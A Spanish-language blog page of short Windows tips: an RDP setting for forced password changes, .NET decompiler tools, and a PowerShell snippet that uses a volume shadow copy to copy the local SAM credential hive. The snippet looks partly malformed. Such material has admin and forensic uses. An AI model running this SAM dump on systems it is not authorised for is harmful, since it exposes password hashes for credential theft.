Autor: abrazalaweb

Escritorio Remoto (RDP): Cambio de contraseña forzado en el próximo log in

En alguna ocasión, trabajando con el escritorio remoto de Windows (mstsc.exe, rdp), el equipo remoto requiere el cambio de contraseña en el próximo inicio de sesión (puede ocurrir por ejemplo al cambiar alguna directiva o política de contraseñas, etc).

El acceso a escritorio remoto normal impedirá el próximo inicio de sesión en estos casos. Será imposible acceder, puesto que el equipo remoto espera a que el nuevo usuario cambie la contraseña al iniciar sesión en el equipo, pero presencialmente. Sin embargo, existe una solución a este problema, y es crear un archivo de conexión a escritorio remoto (simplemente guardando la conexión al ejecutar mstsc.exe) y editando el archivo (editor de textos) para incluir al final una línea, donde se da el valor “cero” a la variable siguiente:

enablecredsspsupport:i:0

Todo detalladao y Gracias a: https://mssec.wordpress.com/2015/12/26/forced-password-change-at-next-logon-and-rdp/

– Escritorio Remoto (RDP): Cambio de contraseña forzado en el próximo log in

Decompilar aplicación Silverlight (.Net)

Una aplicación Silverlight (extenxión .xap) se descarga en los archivos temporales de internet y no es más que un archivo comprimido, dentro del cual se encuentran varios xml y algún dll con los programas que se ejecutan en el navegador.

Algunas herramientas para decompilar (extraer el código fuente) esas aplicaciones (dll) Silverlight, y cualquier aplicación.Net en general son:

dnSpy: https://github.com/0xd4d/dnSpy  (tambén debugger, require NET Framework)

dotPeek: https://www.jetbrains.com/decompiler/

ILspy: https://github.com/icsharpcode/ILSpy

 

 

– Decompilar aplicación Silverlight (.Net)

Volcado de SAM local en Windows:

Powershell:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
`cmd /c copy "$($volume.DeviceObject)\windows\system32\config\SAM"\`
$volume.Delete();if($notrunning -eq 1){$service.Stop()}

Herramientas exe:

Hobocopy   https://candera.github.io/hobocopy/  (fuentes: https://github.com/candera/hobocopy )

 

–
1 of 8
12345678